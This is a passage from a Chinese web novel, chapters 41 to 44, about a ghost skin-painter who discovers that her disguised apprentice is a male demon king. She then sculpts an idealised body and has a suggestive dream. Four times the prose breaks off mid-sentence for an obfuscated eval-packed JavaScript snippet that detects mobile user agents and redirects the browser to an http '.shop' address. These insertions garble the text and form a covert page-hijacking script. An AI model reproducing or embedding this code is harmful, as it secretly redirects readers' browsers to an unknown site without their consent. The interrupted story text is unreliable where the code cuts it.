“……因为我交给了百灵。”犹豫片刻,周延玉还是说出了实情。 “什么?你……”是疯了吗? 理智让卫影并没有说出这句完整的话。 但气愤仍在他胸口徘徊。 他可是妖王啊!那可是妖王的命根子呀…… 他再怎么样,不为了自己想想,也该为了妖界想想呀。 怎么能如此轻而易举把自己的妖丹交给一个手无缚鸡之力的鬼呢? “我把妖丹交给她,一是为了试探,更是为了自保。” 周延玉终于开口为自己辩解:“试探她是否可信,能否护好我的妖丹。” “可是万一她没有保护好或者是弄丢了,可没有重来一次的机会。”卫影并不认可这个理由。 “别着急,你听我说完。”周延玉轻拍卫影的肩膀安抚,接着补充道,“上次冥婚时,我趁乱回溯了其中的人,发现我在妖界被通缉了” 卫影沉默了。 他知道通缉不过是编排好的一出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099972|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏,只是他不能透露给周延玉。 “你怎么会被通缉呢?是不是搞错了?”卫影故作不解。 “不会有错,绝对就是我。”周延玉很笃定。 “可你是……”卫影欲言又止,“谁有这个权利能通缉你呢?” “这还用想吗?”周延玉冷笑一声,“有人已经篡位了,就等着我死掉,然后名正言顺坐上我的位置。” “这怎么会呢?谁有这个胆子?” “有这个胆子的人多了去了。”周延玉苦笑一声,“自我上位以来,那些虎视眈眈的人可都看着呢。” “我虽然战胜了我的父亲母亲,证明了自己,可我终究太年轻,他们是不会心甘情愿臣服于我的。” 他说的这些,卫影也心知肚明。 所以他一直坚定不移地站在他的身边,也是为了帮助他守好这个并不牢靠的王位。 “我猜想那个通缉令,是他们故意设计让我看见的,目的就是为了阻止我返回妖界,然后在冥界神不知鬼不觉解决掉我。” “那也不能随便把妖丹交给一个画皮师啊。”卫影承认他说的有道理,但依旧不赞同这个做法。 “敌人在明,我在暗,这是没得办法的办法。”周延玉无奈道,“有时最危险的地方,往往是最安全的地方。” “我是她的学徒,和她几乎形影不离,虽然敌人能感受到我的气息,但他并不知道,气息的来源不是我,是她。” 卫影点点头,他彻底听明白了,周延玉是想通过声东击西的方式来混淆视听。 可是他也一直在身边,妖丹明明也可以放在他那儿。 “延玉为了履行你母父的承诺,我可以理解,可他也许过于谨慎了。” 周玄玉的话浮上心头。 还是老样子,打着保护他的名号,把他拒之门外。 “正好,我也有一件事想问问你。”周延玉反客为主。 “你说。” “冥婚那一日,你真的没有见过什么可疑的人吗?”周延玉紧紧盯着卫影,等待他的反应。 卫影先是一怔,随即反问道:“你是不信我吗?” 周延玉身形微僵。记忆中,卫影几乎从不曾用这样的语气回应他。 “怎么会呢?”周延玉笑容有些苦涩,“连你都不信的话,我还有什么可信的人呢?” 他说这话不是在打苦情牌,而是发自内心的觉得。 自从他战胜了母亲父亲后,那些曾经他信任且熟知的长辈们,几乎都跟着母亲父亲离开了。 这就是成为妖王必经的孤独之路,每一代王都是这么过来的,被自己的后代所打败,然后离开,再也不会回头。 “信我的话,同样的事就不要问第二遍了。”卫影侧过身,语气疏离。 他本来因为隐瞒对周延玉有些愧疚,可是转念一想,他隐瞒自己的事还少吗? 他不过就这一次而已。 “……好,我明白了。”周延玉艰难点了点头,“如果你还有什么想说的,随时可以来找我。” “还是少见为妙。”卫影背对着他,声音冷硬,“有什么事让把百灵传话就行。” 既然他更信重百灵,那便如他所愿。 “好,依你。”周延玉无奈妥协道。 他曾经是说过让百灵代为传话,可是如今他的身份也暴露了,也就不需要百灵夹在中间。 他想再说点什么,但看着卫影的背影,只能将未竟之言吞入喉间。 41. 第 41 章 烛火摇曳,映得那枚千年花珀温润生辉。 “真美。”宋清河由衷赞叹。 “就是可惜了,没给你也找到一个。”百灵语气里带着安慰。 宋清河摇了摇头,神色黯了下去:“你知道吗?当时看见你满身是伤被小骨带出来时,我真后悔当初劝你和我一起来这冒险。” “你可千万别后悔,也别自责。”百灵赶忙道,“我要感谢你还来不及呢,如果没有你的邀约,我怎么会见到这么美的琥珀?” “百灵。”宋清河认真道,“你就不怕自己真的死了,没法投胎转世为人吗?” “不怕,我对人世间没什么向往的。”百灵不假思索道。 “我还是头一次听到有人不想投胎再活一次的。” “在哪活不是活呢?”百灵解释道,“我曾经也和大家一样,想攒钱努力投胎逃离冥界,可后来姐姐和我说,我们这些鬼和活人没什么分别。” “那时我就在想,我投胎转世似乎没什么意义,而是这事还那么难,你不是想成为谁就是谁的。” 宋清河微微颔首,认同她的看法。 “而是啊。”百灵又补充道,“有可能再来一次,还没见过几天人世间的太阳,就不小心又死了,那我所付出的辛苦不白费了吗?” 百灵对此深有所感,因为她死的很早,死因是溺亡,因为她生下是个女孩所以被抛弃了。 这也是为何,她对人间没有什么留恋。 宋清河问:“你的姐姐,是已经投胎转世了吗?” “是的,她和我不一样,生前有未完成的遗憾和执念,所以一直想回去看一眼。” “可是投胎转世以后,不是成为一个新的人吗?况且喝了孟婆水,也会忘记前程往事,她回去也没用啊。” “道理是这样没错。”百灵道,“但是听说只要钱给到位了,还是可以有机会和故人重逢,再续前缘的。” “原来还能这样……”宋清河恍然。 “对了清河,你们宋家肯定不缺钱,怎么没想着早点返回阳间啊?” “那自然是因为我们不需要,我们几乎包办了冥界所有的冥婚,根本抽不身离开,当然了,也舍不得荣华富贵的日子。” 宋清河承认自己和爹娘不和,但是要她舍弃现在的生活,她也是不想的, “明白了。” 百灵忽然觉得自己何必多问这一嘴,投胎转世根本不是他们这些人需要操心的事。 “那小骨呢?”宋清河忽而将话题转向周延玉,语气微妙,“他跟着你做学徒是为了学手艺,以后好攒钱投胎,还是为了什么别的?” “他应该不会想那么多吧,毕竟他在冥间也是无依无靠的,能生活下去就不错了”。百灵胡诌道。 “我看他现在,可能不只想单纯生活下去这么简单了。” 见百灵没有听懂她的言外之意,宋清河又进一步暗示。 “这……这是什么意思啊?” 百灵有些心慌,难不成宋清河看出什么端倪了?小骨身份要暴露了吗? 宋清河开门见山:“我觉着,他对你,动了不该有的念头。” “不该有的念头?”百灵听的一头雾水,追问道,“什么念头?” 宋清河回忆道:“从迷谷出来时,你昏迷不醒,生死难料,他抱着你一句话都不说,若不是我发现你还有心跳,他怕是下一秒就要随你去了。” 百灵心下稍有触动,却不觉得这有什么。 “或许他只是担心我罢了。” 毕竟他们是相互信任的盟友关系,她还保管着他的心脏。 也许小骨只是担心她真的死了找不到自己的心脏了也不一定。 “这绝不只是担心。”宋清河坚信自己的判断,“你醒了之后,他对你更是无微不至地照顾,恨不得黏在你身上,丝毫没有徒弟和师父之间的界限。” 百灵仔细一想,宋清河说的的确属实,但她认为那只是情况特殊,小骨平时也不这样。 “毕竟我有伤在身嘛。” “看来你是不相信我了。”宋清河故作忧伤。 “怎么会呢。”百灵连忙否认,“可能你和小骨相处的时间不长,对他有些误会,我还是了解他的为人的。” “是吗?那你的好徒儿在得知你帮我沐浴更衣时,你猜猜他会是什么反应?” “这应该不会有什么特别反应吧,顶多有些惊讶?” “大错特错。”宋清河一副了如指掌的模样,“他难过伤心,甚至是嫉妒……” 嫉妒?百灵将这两个字默念了一遍,小骨为什么要嫉妒她给人洗澡啊?他也想伺候宋清河吗? “你知道他心里想的是什么吗?”宋清河倾身,声音压低了些,带着一丝蛊惑,“他希望的,是能和你一同沐浴,与你坦诚相见,亲密无间啊……” 宋清河的话让百灵激起了一身鸡皮疙瘩。 “我们都是女子,小骨怎么会这样想?” “女子又如何?”宋清河反驳道,“你知不知道我们家不仅给男女操办婚事,还有男男,女女,早就见怪不怪了。” “你……”百灵如梦初醒,瞪大了眼睛,“你的意思是小骨他喜欢我?” “他不仅喜欢你,他还爱慕你,想跟你在一起。” 百灵连连摆头,极力表示抗拒。 “怎么,你还是不信?” “不信。”百灵坦诚道。 “那如果是真的呢,他向你表白怎么办?” “那我不接受。”百灵直率道。 “你不接受是因为你对他没有那种意思,还是因为他是女子?”宋清河继续深入。 “都有。” “……”宋清河沉默片刻,才缓缓张口道,“那我劝你,最好和他保持一些距离。” “为什么?” “不要给了他期望,又带给他失望。” “如果真的像你说的那样,我会好好想想……” 百灵虽然心底仍是不太相信,但见宋清河如此再三强调,心中也难免有了些许动摇。 …… 从宋清河房间出来,百灵脑子里还在思考她说的那番话。 她想起了自己曾忽视掉的细节。 周延玉的妖丹,他竟然为了维系他们之间的合作关系,轻而易举就给了她。 当时她满脑子只想着用妖丹做那副完美骨架的身体。 今天听宋清河这么一讲,才品出其中不对劲之处。 还有冥婚仪式那次,不论是喝交杯酒还是司仪要求她亲吻小骨,他都没有拒绝。 难道这个女妖怪真的看上她了? “百灵。” 不远处突然有人唤了她一声。 百灵回过神来,定睛一看,远处那人是卫影。 “卫影。”她回应一声,随即走上去同他汇合。 “你的手……”卫影注意到她因为骨折打着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103508|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绷带固定的手,关心道,“没事吧?” “没事,小伤而已。”百灵不以为意道。 “那你好好休养。” 叮嘱过后,卫影不忘正事,继续道:“白夭夭托我给你传个话。” “夭夭吗?”百灵又惊又喜,忙追问道,“她都说些什么了?” “她说你们上次说好了要回头找她,你怎么说话不算话?”末了他又细心补充道,“应是宴会那次。” “我回去了呀?然后发现她不在我才走掉的。”百灵困惑不已,“我还以为是她不想见我呢。” “也许你们之间有些误会吧。” 百灵缓缓点头,决定找个机会好好找白夭夭聊一聊。 “那我先走一步了。”成功完成传话的任务,卫影准备离开。 “等等……”百灵忙拦住他,“我有几个事想问问你吧。” 卫影作为小骨的旧相识,肯定比她更了解些,她可不能放过这个机会。 “问吧。” “是关于小骨的。”百灵斟酌着开口,“我想知道,他以前……有没有过相好的?” 卫影虽觉此问突兀,仍是如实相告:“没有。” “从来没有吗?那……喜欢的人呢?”百灵不甘心地追问。 “也未曾有过。” 百灵心中那不祥的预感愈发浓重。 小骨他……不会真的喜欢女人吧? “那你呢?”百灵话锋一转,目光灼灼地看向卫影,“你喜欢他吗?” 卫影被她这话问得浑身一僵,难以置信地上下打量着百灵,几乎要怀疑她是否伤到了脑子。 “没事的,你老实跟我说,”百灵会错了意,压低声音保证道,“我绝对不往外说。” “我喜欢姑娘啊!”卫影挠了挠头,满脸的匪夷所思,“怎么会喜欢他……” 啊? 姑娘? 小骨不是…… 巨大的震惊如潮水般将百灵淹没。 小骨是男的! 她竟然……被骗了这么久! “你怎么了?”卫影看着她骤然煞白的脸色,不解其故,这难道是什么难以理解的事情吗? 良久,百灵才从巨大的冲击中勉强找回自己的声音,喃喃道:“……没、没事,我没事。” 卫影还想再问些什么,百灵却已失魂落魄地绕过他,踉跄着走开了。 她一步步朝前走着,往日的画面不受控制地涌入脑海,变得无比清晰。 第一次传送妖力时,他那份不自然的僵硬。 替他擦拭脸颊时,他扭捏的神态。 需要他假扮新娘时,他无可奈何的模样。 拥抱他时身体的僵硬。 还有他一点不像女孩的名字,周延玉…… 他竟然从一开始就在说谎了! 还口口声声同她强调信任、信任!结果从头到尾,只有她一个人被蒙在鼓里! 不过…… 百灵转念一想,若周延玉是男子,那宋清河之前的猜测,似乎更加可信了。 她回想起宋清河笃定的眼神,那些关于“喜欢”、“爱慕”、“想在一起”的言辞,回荡在她耳边。 周延玉……他真的喜欢她吗? 百灵思绪纷乱如麻,依旧难以断定周延玉对她究竟怀揣着何种情感。 但有一点,她此刻无比确定。 她讨厌,不,是憎恶周延玉的欺骗。 42. 第 42 章 自从姐姐走后,百灵很少再面对这样复杂的情感问题了。 一连几天她都把自己困在房间,不是休息,就是埋头创作。 虽然她很想揪着周延玉问个清楚明白,但心底深处仿佛在惧怕着什么,最终仍是选择了逃避。 而将自己全身心投入画皮之中,是她最惯用,也最安稳的方式。 那副完美的骨架如今已初具雏形。 除了精细的纹理和肌肉线条,已经有了完整的身体四肢。 她现在正在雕塑最重要的地方,那张让她脸红心跳的脸。 她屏息凝神,小心翼翼地雕出一个挺直的鼻梁,而后反复打磨、调整每一处微小的细节。 紧接着刀锋向下,勾勒出一双上薄下厚、宛若花瓣的唇形。 为了让上唇显得更加立体饱满,她又拈起一点微不可察的泥,在唇峰处点下一颗极小的圆,作为唇珠。 那唇珠微微下坠,形成一个柔软而完美的弧度,恰到好处地中和了面部因高鼻梁和清晰下颌所带来的锋利感。 百灵忍不住伸出指尖,极轻地在那泥塑的唇上抚过。 仅仅只是未干的泥胚,就如此勾人心弦,不敢相信上色之后会是多么震撼。 “咚咚——” 正当她沉浸在无声的欣赏之中时,一阵不合时宜的敲门声骤然响起,将她从出神的状态里惊醒。 她也隐隐猜到了门外是谁。 “百灵,我可以进来吗?” 是骗子周延玉。 这几日,她一直以“需要专心画皮”为借口,回绝了他多次主动的求见。 该来的终究躲不过。 她轻叹一声,迅速整理好面上神情,这才出声让他进来。 “有什么事吗?”百灵主动开口,希望能速战速决。 “没什么要紧事,”周延玉的声音听起来带着几分小心,“你的伤……好些了吗?” “好多了,本来也都是些不要紧的皮外伤,我早该自己换了新皮。” “哦……”周延玉低低应了一声,视线不经意间瞥见了那张已具雏形的面孔。 这……不是他吗? 虽还只是大致的轮廓,但那眉宇鼻梁,分明已与他有了七八分相似。 不过他自己的原生嘴巴好像没这么突兀。 原来她这么多天避而不见,是为了专心制作他的身体吗? 这个认知让他心头莫名一热,忍不住微屈下身子,想凑近些看得更仔细。 “你干嘛。”百灵却无情地伸出手,挡在了他与泥塑之间,阻止他再靠近,“别碰坏了。” “我会小心的。”周延玉语气里透出些许委屈,“再说了,这不也算是我的身体吗?”他看一看,总是可以的吧。 “麻烦你搞清楚,”百灵义正辞严地宣告所有权,“这是我的作品。你只是未来的使用者,不代表它就变成你的所有物了。” “可……” 周延玉话语一顿,终究还是将后面的话咽了回去。 他不是没想过直接承认骨架就是自己的,可他担心百灵以为自己是在利用她的手艺,一气之下不帮他做了。 曾经他的确没想那么多,但经过迷谷一事后,他已经坚定想让百灵替他完成自己的身体。 唯有交到她的手中,他才能全然放心。 “还有别的事吗?”百灵开口,已是明显的送客架势,“我还要忙。” “有的,那我长话短说吧。” 周延玉真以为她是急于工作,便匆匆将前几日与卫影的对话及自己的疑虑道出。 “你怀疑卫影在骗你?”百灵听罢,唇角牵起一丝若有若无的冷笑,“我看,是你自己疑神疑鬼吧。” 简直是以小人之心,度君子之腹。 “不是的,”周延玉急忙解释,“我回溯了当时的景象,发现他那日确实见了旁人,并且交谈了许久。” 既然如此,或许是真的。 但百灵懒得插手妖怪之间的事,更不想和周延玉过多纠缠,只道:“那你怎么不找他对峙去?” 找我干嘛? “他以为我疑心他,正在生闷气呢。”周延玉怏怏道。 百灵轻轻耸肩,表示自己也没办法。 “除了这个,还有一事。”周延玉自动跳过了这个棘手的话题,继续道,“我发觉这些日子无忧阁有些动静,不知是不是叶知舟又在谋划什么。” “很有可能。”谈及正事,百灵恢复了往常的理智,“本来将比试地点定在无忧阁就是他在造势,两场比试下来,时机估计也差不多了。” “嗯。”周延玉点头认可,“所以我准备去探查看看,你……” “我没空。” 周延玉的话尚未说完,便被百灵冷漠地打断。 她并非不在意此事,只是不愿与他同行。况且,白夭夭尚在叶知舟身边,应当能探听到一些风声,她已打算另寻时机去问问夭夭。 “你看,”百灵用眼神示意了一下那未完成的身体,为自己的拒绝找补道,“我忙着呢。” “……好吧,”周延玉眼中掠过一丝失落,低声道,“那我自己去。” “嗯。”百灵冷冷应了一声,默认了话题结束,将身子扭过去,自顾自描摹画皮去了。 周延玉望着她那决绝的背影,心中一阵落寞。 这已经是第二个人,这样背对着他了。 “你……小心些,尽量别用左手发力。”临出门前,他终究还是忍不住回头叮嘱。 “我知道。”百灵依旧没有回头。 “……若有什么需要,随时叫我。”他的声音里,带着几乎卑微的恳切。 百灵本能地想回一句“没需要”,话到嘴边,又觉得太过冷酷,最终只是从喉间逸出一个淡淡的:“嗯。” …… 无忧阁内。 “只是让你扔个子石,你怎么把那头凶兽也给杀了。” 骨片随着周玄玉的声音在手里发着淡淡的光。 “我不杀它,死的就是我。”霜叶垂眸瞥向自己空荡荡的右袖,语气却云淡风轻 “若你途中肯与我交涉,我或许还能给你些指点,何至于闹到这般你死我活的地步。” 周玄玉显然不满她的回答,话里带上了几分责怪,意指她一开始就掐断了二人之间的联络。 “指点?”霜叶嗤笑一声,语带讥讽,“是给我做临死前的祷告吗?” “……我知道,你对我将你安排在叶知舟身边一直心有不满。”周玄玉沉默一瞬,选择了转移话题,声音沉了下去,“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108238|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不必句句带刺。毕竟当初,是我救了你的命。” 言外之意,看在救命之恩的份上,该消的气总该消了。 “我不过是在就事论事。”面对周玄玉的狭恩图报,霜叶依旧分毫不让,“你可别忘了,我十六岁那年就打赢你了。” “……”骨片那头默然片刻,才传来周玄玉略显生硬的辩解,“那是我见你年纪尚轻,心高气傲,故意让着你。” 霜叶冷哼一声,毫不留情地戳穿道:“分明是某人自视甚高,轻敌大意,才输得一败涂地。” “如今我已经十八了,你再不敢同我切磋,是怕自己力不从心吧。” 霜叶的话一字一句,像一阵凌烈劲风,狠狠抽打再周玄玉的脸上。 “我同你无话可说。”最终,周玄玉似是完全泄了气,只想尽快结束这场不愉快的对话。 但霜叶显然不打算就此放过他。 “没错,你是救了我。可就算没有你周玄玉,也自会有王玄玉、赵玄玉、李玄玉出现。不过恰巧,那个人是你罢了。” “……” 骨片对面陷入长久的死寂,随后,传来一声清脆的碎裂轻响。 他不敢回话了。 正合她意。 霜叶唇角勾起一抹冷峭的弧度,正欲将那失去光泽的骨片收起,身后却忽然响起一阵不紧不慢的鼓掌声。 那掌声越来越近,伴随着一个男人低哑的笑声。 “霜叶姑娘,当真是好硬的心肠” “叶老板什么时候变成老鼠,喜欢躲在背后偷偷听人讲话了?” 霜叶蓦然转身,毫无惧色地迎上叶知舟的目光,语带锋芒。 叶知舟却不恼,他的视线轻飘飘地落在她断臂的空袖处:“放着现成的材料不用,硬要空着这处伤口,是故意想叫谁看了,好多心疼你几分么?” “少在这里恶心人了。”霜叶依旧言辞尖锐,“我只是为了提醒自己。” “我只是关心你嘛。”叶知舟笑道,眼底却无甚暖意,“怎么,要不要来一杯忘情水?忘掉让你烦心之人。” 霜叶淡淡瞥了他一眼,眼神写满了不屑。 “懦弱的人才需要那种东西,叶老板还是留给自己吧。” 叶知舟对她的明嘲暗讽不以为意,神色坚定道:“我自然和霜叶姑娘一样,都不需要。” “这倒不对吧。”霜叶像是听到了什么极好笑的事,唇边绽开一抹毫无善意的笑,“我看叶老板是爱而不得,用尽各种手段威逼利诱不成,还是早早放弃吧。” 霜叶话里话外隐藏的第二个人,正是白夭夭。 自从大虎几次被叶知舟灌下孟婆水后,便慢慢被淡出了边缘。 而更有实力,同时性情也更冷硬的霜叶取而代之。 因此叶知舟对白夭夭的所作所为,她全都靠在眼里。 她早就察觉出叶知舟对此人不一般,颇有种死缠烂打、不达目的不罢休的感觉。 一想到叶知舟几乎在所有人或是面前都游刃有余,唯独屡次栽在此女手中,她便觉得非常有意思。 “那恐怕要让霜叶姑娘失望了。”叶知舟闻言,脸上反而漾开一抹春风般和煦的笑意,“一切人与事,终将都在我的掌握之中。” 而她白夭夭,自然也不例外。 43. 第 43 章 “确定要这样吗?” 百灵望着被宋清河修改过的身体泥胚,感觉脸颊有些发烫,话都说不利索了。 因为宋清河很擅长细节的雕刻,百灵特意邀请她前来润色一下那副身体。 结果宋清河进行了肆意的发挥。从正面看见躯干,肩膊厚实,胸膛宽阔、块垒分明,腰腹紧实且沟壑起伏。 转向背面,脊背线条开阔雄健,一道脊沟深陷而下,衬得两侧肌理饱满有力。 在背沟的最末端,还有两个对称的腰窝,烛火映照下,打出两道阴影,光影流转间,无声地牵引着视线向下探索。 “你看看你雕的这张脸。”宋清河一边用干净布巾慢条斯理地擦着手上的泥渍,一边说道,“要是配上一副干瘪的身板,岂不是白白糟蹋了?” “说得……也是。”百灵点了点头,心里却莫名地感到一阵难为情。 “还有一些筋的位置,我帮你用笔勾出来,其余的你自己来吧。”宋清河说着已经拿笔开始勾勒。 “好,多谢。” 眼看着宋清河顺着腰腹的沟壑,毫不犹豫地向下勾勒出几道充满生命力的线条,百灵有些不自在地移开了目光。 “你没碰过男人吗?”宋清河察觉到她的闪躲,冷不丁地问了一句,“就算没碰过,你是画皮师,也该见过吧?” “见肯定是见过的。”百灵解释道,“只是我在书上看的比较多,而且一般不会注重身体上这些小细节,那些找我画皮的人,大都不讲究。” 穷苦人家身体能复原就不错了,哪里还讲着点缀什么青筋这种东西。 不过百灵还是能够理解宋清河,她也发着内心欣赏她这种精益求精的态度,毕竟这是比试。 “哦。”宋清河应了一声,笔尖虚虚指向躯干下方,“那这里,你会做吗?” “这里……”百灵顿时语塞,声音也低了下去,“我通常都是简单应付一下。” “那怎么行。”宋清河皱了皱眉,自问自答道,“难道没有人对这个有需求吗?我可不信。” “有自然是有的,但我一般都会推辞,因为不太了解也不太会。” “那这副身体你打算怎么办?”宋清河探究地看着她,“你该不会告诉我,你费尽心血雕琢了全身和这张脸,却要在这里敷衍了事吧?” 老实说,百灵确实思考过这个问题,只是一直没想好。 她当然是比谁都希望这副身体能完美无瑕,包括那里。 宋清河看出她的犹豫,主动提议:“若是你好好求求我,我说不定愿意帮你这个忙。” “真的?”百灵眼睛一亮,“你愿意帮我?” 目的达成,宋清河唇角弯起一抹浅笑。 作为千金大小姐,虽然父母并不同意她画皮,但她的优势还是比百灵大得多,所能接触到的资源也远非百灵能比。 就譬如这点,为了细节之处更加到位真实,她可以差遣手底下的奴仆脱光衣服,供她现场临摹。 那里自然也不例外。 “这地方也不是越大越好看,重点还是要协调,不过……”宋清河说完又话锋一转,“这个身体的话,大点没事。” “……” 百灵见她面不改色点评,自己反而更加局促了。 “你怎么回事?”宋清河用开玩笑的语气问道,“不会是爱上这个假人了吧?” “……”百灵赫然一惊,睡梦中那头戴红盖,用琥珀色眼眸直直凝视她,任君采撷的模样猝不及防撞进她脑海。 “你真喜欢上这假人了?”宋清河这回收敛住玩笑的语气,不可思议问道。 “……没有,怎么可能呢?”百灵矢口否认,心里却虚得厉害。 她虽然嘴巴上在否认,但是慌张的神态早已被宋清河尽收眼底。 宋清河没有再说话。 她只是重新拿起笔,沉默地、飞快地将余下的线条勾勒完毕,笔尖比先前更用力几分。 “好了。”她放下笔,声音显得有些疏淡,“我有些累了,先回去了。” 百灵也并未多想,准备改天再向她请教帮忙。 送走宋清河之后,她努力调整好自己的心绪,将内心只有线条的印迹,亲手捏制雕刻上一条条青筋。 做完一切之后,她满头大汗。 抬眼一看,青筋仿佛又赋予了这句身体别样的生命力,竟让它看起来像是在静静呼吸。她好不容易压下的心潮,再度波澜起伏。 她小心翼翼地用布将假人罩好,躺到床上,指望能用睡眠安抚自己。 辗转反侧许久,她才勉强入睡。 可惜没过多久,她便坠入一片亦真亦假的梦境里。 梦中先是出现了一个舞女,一身的红装,踝系银铃,裸足而舞。 不知从何处传来乐声,舞女足尖轻点,随音翩然而舞,她身姿轻盈,柔弱无骨,抬腕低眉间,素手辗转流连,裙袂飘飞。 她额上一点扇面花钿,衬得她一双清眸欲语还休。 起舞弄清影,何似在人间? 烛火忽明忽暗,舞女的身前是随风摇曳的红纱,叫人根本看不清她的长相。 红纱之外,突然出现了一个男子,似乎在偷窥这位舞姬。 被发现后,他赶忙寻了处有水的地方,洗了一把脸。 他还未回过神来,乐声骤然而止,那舞女自然也停下步伐。 猛一回头,却被一片从天而至的红纱罩住了眼前视线,他尽力正声道:“你是谁?你想做什么?” 舞女只轻笑一声,那红纱随着笑声落到了他的手上,幽幽道:“跟着我走,你就知道答案了。” 原来红纱的另一头,正牵在舞女手中,他乖顺拿起红纱,任由舞女牵着他走。 几步之后,他进了这房间的内室,舞女倚在芙蓉帐旁,展扇于面前,示意他过来。 二人的距离慢慢拉近,在只有几步之遥时,男子正欲拔剑而出,却忽然身形一滞,愣在原地。 原来那舞女放下了遮于面前的扇子,男子看见了她的脸。 “师......师父?” 舞女眉目带笑,并不作声。男子一时也分不清,这人到底是不是他师父。 那女子几步走上前去,毫无征兆地踮脚勾住他的脖颈,与他紧紧相贴,他也鬼使神差般的,单手搂住了她。 她眸光微闪,唇角带笑,直直凝视着他。 实在是太近了,只一瞬的功夫,他就脸颊发烫,心里有团火,似乎是要把他烧燃了。 他刚准备收回那只不知何时搂上舞女腰间的手,却听到那女子唤了他一声,“好徒儿。” 男子喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113025|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“师父,是你吗?” 那女子又不作答,只是把头一低,贴在他的胸膛上,轻声道:“别动。” 半晌,他又忍不住开口:“师父,我们……能不能换个姿势?这样似乎于礼不合。” 女子似是接受了他的提议,松手转身离去了。她并未走远,坐在铜镜前照了一会儿,又从镜桌上拿出一小盒口脂,轻点在饱满的唇上。 女子点完唇,忽然回头笑吟吟问:“好看吗?” 有美一人,巧笑倩兮。 他一时怔住,忘了回应。 见他不语,女子起身朝他走来。 他慌忙后退,直至背脊抵上冰冷墙壁,被迫错开视线,侧过头去。 她却再次贴近,气息拂过他耳畔,声音带着蛊惑:“看着我。” 他无奈转回脸,望向眼前人。 女子得意地弯起唇角,又问:“我好看吗?” “好……好看。”他喉结上下滚动,艰难地咽了口唾沫。 女子似是被挑起兴致,一时无意离去。她视线垂下,盯着他的嘴唇,若有所思。 后者已是浑身不自在,视线飘忽,急于寻找什么东西来分散注意力。 刹那间,他大脑懵的一空,双眼倏地睁大,唇上微凉的触感叫他周身如触电一般。 他被亲了吗? 他僵着身子,一动不敢动。 随即却发觉触感有异,垂眼一瞥,才暗自松了口气。 原来师父只是用指尖轻抚着他的唇瓣。虽依旧暧昧至极,总比直接的亲吻稍好一些。 那指尖沾着朱砂红的口脂,正在他唇上细细描摹。 “其实,”她轻声说,“你比我更好看。” 指尖带着丝丝凉意,不轻不重地碾过唇瓣,挠得人心尖发痒。 “因为,你是我创造的。” 他双唇微分,他强忍住自己因为痒而想舔唇的冲动。 可她偏不随他的愿,指尖在他的唇珠处轻点,好似尤其偏爱此处一般,来回揉擦,乐此不疲。 半晌,他实在难以支撑,声音发颤:“师……师父……” “怎么了?”她竟停下动作,好心相问。 “我…我有点热……” 这实在是太磨人了。 “热啊......”女子轻笑一声,“那师父来帮你宽衣吧。” 话音未落,她便已动手去解他的衣带。 从腰带,到外衣、里衣,一层层衣物如落花般委地,逐渐露出内里光洁紧实的躯体。 “这里面更美……”她边说边上下其手,指尖抚过之处,引得他敏感地战栗,胸膛剧烈起伏。 她双手环住他紧实有力的腰身,指尖在他背脊的沟壑间用力流连,一路往下,最后停留在在背后的凹陷处,用力揉搓。 身旁的镜中,映出他宽阔的背脊与修长的身形。 就在她定睛欣赏之际,忽地从镜中看到了自己的脸。 “不行!” 百灵大喊一声,从梦中惊醒。 她浑身冷汗,取过镜子一照,整张脸几乎红透。 她真是疯了。 竟然梦见自己变成一个那般孟浪的舞女,去调戏…… 她扭头望向被布罩着的身体,下定决心,必须冷静几日,才能继续这项工作。 44. 第 44 章 “听说了吗,那无忧阁可邪乎了,去过那的人都说可以忘记烦心事呢!” “真的假的,有这么管用吗?” “千真万确,我明天呐也打算去瞧瞧……” 周延玉走在去往无忧阁的路上,看似漫不经心,实际在偷听身边人有关无忧阁的议论。 忘记烦心事,这怎么可能呢? 就算真的有用,那也忘的了一时,忘不了一世。 带着满腹疑惑,不知不觉中,他已走到了无忧阁的门口。 “这位公子,里面请。”门口的小厮极有眼力,立刻凑上前招呼。 “不必,我随意看看。”他尚未打算亲身入局。 